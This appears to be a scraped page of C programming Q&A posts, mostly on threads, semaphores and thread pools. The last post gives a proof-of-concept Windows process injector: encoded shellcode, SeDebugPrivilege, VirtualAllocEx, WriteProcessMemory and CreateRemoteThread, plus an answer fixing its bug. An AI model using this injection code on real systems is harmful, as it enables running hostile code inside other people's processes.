I would like to print/make a stacktrace of a running process from within my c application (not c++) using the windows api.
Currently I have this code:
void StackTrace(int pid)
{
unsigned int i;
void *stack[STACK_BUFFER];
unsigned short frames;
SYMBOL_INFO *symbol;
HANDLE process;
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
SymInitialize(process, NULL, TRUE);
frames = RtlCaptureStackBackTrace(0, STACK_BUFFER, stack, NULL);
symbol = (SYMBOL_INFO *)calloc(sizeof(SYMBOL_INFO) + 256 * sizeof(char), 1);
symbol->MaxNameLen = 255;
symbol->SizeOfStruct = sizeof(SYMBOL_INFO);
for (i = 0; i < frames; i++) {
SymFromAddr(process, (DWORD64)(stack[i]), 0, symbol);
if (symbol->NameLen != 0)
printf("%s at %09x\n", symbol->Name, symbol->Address);
}
free(symbol);
}
But the problem is that when I run it on a process it always gives me the same results, even when the application is stack tracing itself. Can you help me with this?
EDIT: The problem is that it always gives the same symbol name and address.
You're capturing the stack trace of your current thread when you're using RtlCaptureStackBackTrace in this way. I think that what you're looking for is: StackWalkEx
Related
I'm doing some university tasks and I managed to change the code and achieve the task properly but the console bugs out and acts strange.
The image can be found here since I don't have 10 reputation yet
https://imgur.com/a/X7a6bpa
You have the linux Ubuntu LED console and you can toggle the white and red lights as well as increase or decrease the speed at which they flash between a max and min amount.
The task was to have the console write out the current state of leds and the delay at which they flash.
Now I made that but due to interference, wrong semaphore usage or some code errors the console starts having random numbers appear in different parts of it. I've searched and couldn't find any reason for it. I'm also not sure what I'm actually looking at so an answer might already exist.
This is running Ubuntu 16.04.6 Xebian as that's what the uni requires. It includes threads and semaphores. I tried changing the semaphores and code around but it didn't work. I'm also fairly new to threads and semaphores so they might be completely in the wrong places.
I added as little code as possible. The things I wrote are the *led_info_thr function and creation in main,the semaphore in *led_toggle_thr.
static bool flashing[2] = {false, false};
static int flashing_delay[2] = {FLASH_INITIAL_DELAY, FLASH_INITIAL_DELAY};
static sem_t mutex;
void *led_toggle_thr(void *arg);
void *keyboard_thr(void *arg);
void *led_info_thr(void *arg);
void inc_delay(int i);
void dec_delay(int i);
int main (void) {
pthread_t thread[4];
int rc;
unsigned long i;
sem_init(&mutex,0 ,1);
console_init();
for (i = 0; i < 3; i += 1) {
rc = pthread_create(&thread[i], NULL, led_toggle_thr, (void *)i);
assert(rc == 0);
}
rc = pthread_create(&thread[2], NULL, keyboard_thr, NULL);
assert(rc == 0);
rc = pthread_create(&thread[3], NULL, led_info_thr, NULL);
assert(rc == 0);
while (true) {
/* skip */
}
exit(0);
}
void *led_toggle_thr(void *arg) {
unsigned long id = (long)arg;
while (true) {
if (flashing[id]) {F
sem_wait(&mutex);
led_toggle((leds_t)id);
sem_post(&mutex);
}
usleep(flashing_delay[id]);
}
}
void *led_info_thr(void *arg) {
char flashing_str[2]={'N','N'};
while(true)
{
for(int i = 0; i < 2; i++)
{
if(flashing[i] == true) flashing_str[i] = 'Y';
else flashing_str[i] = 'N';
sem_wait(&mutex);
lcd_write_at(i, 0, "LED%d F:%c D:%d", i, flashing_str[i], flashing_delay[i]);
sem_post(&mutex);
}
}
return NULL;
}
`
I'm trying to run QEMU's user mode emulator as a thread in a larger program that I'm writing. I've modified the linux-user/main.c file so that the standard int main(int argc, char **argv, char **envp function is now called void *qemu_user_mode_func(void *arg). I've also added pthread_exit(NULL) to the end of that function, as is standard practice for pthreads (or so I've been told).
However, when I try to run a second thread that contains my own test function (shown below in void *test_func(void *arg)), the process exits before the second thread completes, even with a call to pthread_join(tid), which I've read blocks the calling thread until thread tid returns. Does QEMU's user mode emulation exit in such a way that would prevent pthread_join from exiting, or am I just using threads wrong?
Here's my code (not including the bulk of qemu_user_mode_func):
void *qemu_user_mode_func(void *arg)
{
thread_data_t *thread_data;
int argc;
char **argv;
char **envp;
/** QEMU's normal code **/
//return 0;
pthread_exit(NULL);
}
void *test_func(void *arg) {
struct timespec time;
time.tv_sec = 7;
time.tv_nsec = 0;
nanosleep(&time, NULL);
printf("hello, world - from a thread\n");
pthread_exit(NULL);
}
int main(int argc, char**argv, char **envp) {
//Initialize variables to create thread
int rc;
pthread_t threads[2];
thread_data_t main_args;
main_args.tid = 1;
main_args.argc = argc;
main_args.argv = argv;
main_args.envp = envp;
//Create thread
if ((rc = pthread_create(&(threads[0]), NULL, test_func, NULL))) {
fprintf(stderr, "error: pthread_create, rc: %d\n", rc);
return EXIT_FAILURE;
}
if ((rc = pthread_create(&(threads[1]), NULL, qemu_user_mode_func, (void *)&main_args))) {
fprintf(stderr, "error: pthread_create, rc: %d\n", rc);
return EXIT_FAILURE;
}
//Wait for thread to finish, then terminate process
for (rc = 0; rc < 2; rc++) {
pthread_join(threads[rc], NULL);
}
return 0;
}
EDIT: I've discovered in the void cpu_loop(CPUX86State *env) function that when the emulated program reaches its conclusion, QEMU calls syscall 231, which is sys_exit_group (as per 1). So I'm guessing this syscall is terminating the entire process that I'm running. I'd appreciate any tips on how to get around that!
If you turn a complicated preexisting application into thread there are going to be issues. One is that the application can call exit or its variants which will terminate your entire program. There are numerous other issues that could be causing a problem. I would suggest using gdb to determine what is making your program exit.
Problem was solved by editing the following section in void cpu_loop(CPUX86State *env). I capture either sys_exit_group and sys_exit system calls before they are executed, and just return from the function instead.
Original:
void cpu_loop(CPUX86State *env)
{
CPUState *cs = CPU(x86_env_get_cpu(env));
int trapnr;
abi_ulong pc;
target_siginfo_t info;
for(;;) {
cpu_exec_start(cs);
trapnr = cpu_x86_exec(env);
cpu_exec_end(cs);
switch(trapnr) {
case 0x80:
/* linux syscall from int $0x80 */
env->regs[R_EAX] = do_syscall(env,
env->regs[R_EAX],
env->regs[R_EBX],
env->regs[R_ECX],
env->regs[R_EDX],
env->regs[R_ESI],
env->regs[R_EDI],
env->regs[R_EBP],
0, 0);
break;
#ifndef TARGET_ABI32
case EXCP_SYSCALL:
/* linux syscall from syscall instruction */
env->regs[R_EAX] = do_syscall(env,
env->regs[R_EAX],
env->regs[R_EDI],
env->regs[R_ESI],
env->regs[R_EDX],
env->regs[10],
env->regs[8],
env->regs[9],
0, 0);
break;
#endif
Modified:
void cpu_loop(CPUX86State *env)
{
CPUState *cs = CPU(x86_env_get_cpu(env));
int trapnr;
abi_ulong pc;
target_siginfo_t info;
for(;;) {
cpu_exec_start(cs);
trapnr = cpu_x86_exec(env);
cpu_exec_end(cs);
switch(trapnr) {
case 0x80:
/* linux syscall from int $0x80 */
env->regs[R_EAX] = do_syscall(env,
env->regs[R_EAX],
env->regs[R_EBX],
env->regs[R_ECX],
env->regs[R_EDX],
env->regs[R_ESI],
env->regs[R_EDI],
env->regs[R_EBP],
0, 0);
break;
#ifndef TARGET_ABI32
case EXCP_SYSCALL:
/* linux syscall from syscall instruction */
----> if ((env->regs[R_EAX] == __NR_exit_group) || (env->regs[R_EAX] == __NR_exit)) {
return;
}
env->regs[R_EAX] = do_syscall(env,
env->regs[R_EAX],
env->regs[R_EDI],
env->regs[R_ESI],
env->regs[R_EDX],
env->regs[10],
env->regs[8],
env->regs[9],
0, 0);
break;
#endif
I have written a program which simulates the producer consumer problem and I am running into a couple of issues. This was written using Win32 API.
I am using two semaphores full and empty to perform the counting for the buffer where items are stored. There is a mutex as well to control access to the critical section. I have two functions: one creates an item based on a simple calculation: threads * 1000000 + count, while the other consumes it.
The buffer has 10 spaces in it however the program should hopefully be able to work for different number of spaces and threads. The Producer thread goes through the buffer then starts over until the semaphore counts up to 10. I am running into two problems that I can't seem to find a solution too nor do I get many details in the debugger.
1) The commented part which has the printf() function crashes the thread every single time. Nothing ever gets printed to console. I have tried using just a string as well with no other variables being outputted. No success. I found documentation that printf() can run into trouble when used in a multithreaded environment however in this case it is within the critical section and it crashes on the first try. How can I print that information to console?
2) When I remove the print statements and run the code the threads still crash at different points every time. I can't figure out why. The producer thread is supposed to wait for the empty semaphore and the mutex, put the item in, then increase the count for the full semaphore (signifying an item has been added). When it reaches 10 it should stop. The Consumer thread waits for the full semaphore and the mutex, removes an item, then increases the count for the empty semaphore. Is there something in the way I've written it that is causing these thread exits?
This is what I get:
The program '[5348] OperatingSystem.exe' has exited with code 0 (0x0).
#include<stdio.h>
#include<windows.h>
#include<ctype.h>
#include<tchar.h>
#include<strsafe.h>
#include<conio.h>
#include<time.h>
#define threads 1
#define MAX 10
typedef struct objects {
HANDLE empty;
HANDLE full;
HANDLE mutex;
int buffer[10];
};
struct objects data;
DWORD WINAPI Producers(LPVOID lpParam){
int count = 0;
int item;
while (TRUE){
if (data.buffer[count] == 0){
WaitForSingleObject(data.empty, INFINITE);
WaitForSingleObject(data.mutex, INFINITE);
item = threads * 1000000 + count;
data.buffer[count] = item;
//printf("Producer has produced: %d", item);
ReleaseMutex(data.mutex);
ReleaseSemaphore(data.full, 1, NULL);
}
count++;
if (count == 10){ count = 0; }
};
}
DWORD WINAPI Consumers(LPVOID lpParam){
int count = 0;
while (TRUE){
if (data.buffer[count] != 0){
WaitForSingleObject(data.full, INFINITE);
WaitForSingleObject(data.mutex, INFINITE);
//printf("Consumer has consummed: %d", data.buffer[count]);
data.buffer[count] = 0;
ReleaseMutex(data.mutex);
ReleaseSemaphore(data.empty, 1, NULL);
}
count++;
if (count == 10){ count = 0; }
};
}
int main(int argc, char *argv[]) {
struct objects data;
LONG initialCount = 0;
LONG maxCount = 10;
data.empty = CreateSemaphore(NULL, maxCount, maxCount, NULL);
data.full = CreateSemaphore(NULL, initialCount, maxCount, NULL);
data.mutex = CreateMutex(NULL, FALSE, NULL);
DWORD ConsumerId[threads];
HANDLE ConsumerThread[threads];
DWORD ProducerId[threads];
HANDLE ProducerThread[threads];
for (int i = 0; i < threads; i++){
ProducerThread[i] = CreateThread(
NULL,
0,
Producers,
NULL,
0,
&ProducerId[i]);
ConsumerThread[i] = CreateThread(
NULL,
0,
Consumers,
NULL,
0,
&ConsumerId[i]);
}
}
I am using Glib to develop a multi-threading C software.
I would like to have a set of alive threads. Once some thread finishes, another thread starts with a different parameter. It is something like a thread pool.
I am using glib thread to implement the multi-threading. But I cannot find a lot of tutorials from Google. I can now start a set of threads, but have no idea about the waiting. Some code of mine:
GThread *threads[n_threads];
thread_aux_t *data = (thread_aux_t*) calloc(n_threads, sizeof(thread_aux_t));
for (i = 0; i < n_threads; ++i) {
data[i].parameter = i;
threads[i] = g_thread_create((GThreadFunc) pe_lib_thread, data + i,
TRUE, NULL);
}
/* wait for threads to finish */
for (i = 0; i < n_threads; ++i) {
g_thread_join(threads[i]); // How to start a new thread depending on the return value?
}
free(data);
Thanks.
Problem solved. Update:
Just found a thread pool implementation of glib: Thread Pools. I have run it and it works correctly.
The code is written as:
// 'query' is for this new thread,
// 'data' is the global parameters set when initiating the pool
void *pe_lib_thread(gpointer query, gpointer data) {
}
void run_threads() {
GThreadPool *thread_pool = NULL;
// Global parameters by all threads.
thread_aux_t *data = (thread_aux_t*) calloc(1, sizeof(thread_aux_t));
data->shared_hash_table = get_hash_table();
g_thread_init(NULL);
thread_pool = g_thread_pool_new((GFunc) pe_lib_thread, data, n_threads,
TRUE, NULL);
// If n_threads is 10, there are maximum 10 threads running, others are waiting.
for (i = 0; i < n_queries; i++) {
query = &queries[i];
g_thread_pool_push(thread_pool, (gpointer) query, NULL);
}
g_thread_pool_free(thread_pool, 0, 1);
}
g_thread_join returns the return value, so you just check it.
Let's say you want to create a new process if the return value is 17.
for (i = 0; i < n_threads; ++i) {
if (threads[i] && g_thread_join(threads[i]) == 17) {
/* Start a new thread. */
threads[i] = g_thread_create((GThreadFunc) pe_lib_thread, data + i,
TRUE, NULL);
} else {
threads[i] = NULL;
}
}
this is my first semi-major C project. I'm a self taught programmer so if my code has any major flaws OR if you happen to have any tips for me, please point them out, I'm very eager to learn. Thank you.
Anyway, I decided to code a process injector for windows, as title says, and I every time I attempt to inject the windows XP SP2 calc into designated process, it crashes. The reason I had decided to make it XP based was because this is a test version/POC/whatever.
Is this because the shellcode is only applicable for specific processes?
I had attempted different processes, explorer.exe, firefox.exe, etc. Still crashes.
Oh, and FYI my ASM isn't the best so I borrowed some shellcode from shell-storm
Also, how does the code look? I had some problems understanding the MSDN API for some of the psapi / windows parameters. It seemed kind of vague, and it was kind of hard to find examples online for some of my questions.
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define BYTESIZE 100
void ProcessIdentf(DWORD ProcessID);
//Required for Process Handling rights
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);
int main(void){
//x86 | Windows XP SP2 | calc.exe call
//POC data
unsigned char call_calc[] =
"\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
"\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
"\x65\x20\x2f\x63\x20\x63\x6d\x64";
//Process HANDLE && Process Identifier WORD
HANDLE FfHandle;
int ProcID;
//VirtualAllocMemPnter
LPVOID lpv = NULL;
//Typecasted pointer to Shellcode
char* shellptr = call_calc;
//Handle for CreateRemoteThread function
HANDLE ControlStructRemote;
//Number of bytes successfully executed
SIZE_T bytescom;
//Data for Process enumeration
DWORD xyProcesses[1024]; //Max_Proc
DWORD abProcesses, cntbNeeded;
unsigned int c;
printf("POC version x00.\nInjects example x86 shellcode into process.\n");
SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for injection\n");
Sleep(10000);
if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){
exit(1);
}
abProcesses = cntbNeeded / sizeof(DWORD);
//Enumerate processes owned by current user
for(c = 0; c < abProcesses; c++){
if(xyProcesses[c] != 0){
ProcessIdentf(xyProcesses[c]);
}
}
printf("Process PID required\n");
scanf("%d", &ProcID);
FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
ProcID);
lpv = VirtualAllocEx(FfHandle,
NULL,
BYTESIZE,
MEM_COMMIT,
0x40); //PAGE_EXECUTE_READWRITE
if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){
ControlStructRemote = CreateRemoteThread(FfHandle,
0,
0,
(DWORD (__stdcall*) (void*)) shellptr,
0,
0,
0);
if(ControlStructRemote){
printf("POC shellcode successful.\n");
}
else{
printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
}
}
return 0;
}
void ProcessIdentf(DWORD ProcID){
//Enumerates PID and modules. Prints. Implement in loop
//unicode char, max ntfs datafile
TCHAR szProcessname[MAX_PATH] = TEXT("<unknown>");
//open proc handle
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, ProcID);
//enum modules
if(NULL != hProcess){
HMODULE hMod;
DWORD cbNeed;
if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed))
{
GetModuleBaseName(hProcess, hMod, szProcessname,
sizeof(szProcessname)/sizeof(TCHAR));
}
}
//print PID
printf("%s PID: %u\n", szProcessname, ProcID);
//close processhandle
CloseHandle(hProcess);
}
int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
HANDLE hTokenProc;
LUID xDebugVal;
TOKEN_PRIVILEGES tPriv;
if(OpenProcessToken(xyProcess,
TOKEN_ADJUST_PRIVILEGES,
&hTokenProc)){
if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){
tPriv.PrivilegeCount = 1;
tPriv.Privileges[0].Luid = xDebugVal;
tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTokenProc,
FALSE,
&tPriv,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL
);
if(GetLastError() == ERROR_SUCCESS){
return TRUE;
}
}
}
return FALSE;
}
You create the remote thread at shellptr, but it should be lpv where you wrote the code to.
BTW, try to avoid PROCESS_ALL_ACCESS, only specify what exact access you need (it's all on MSDN for each API)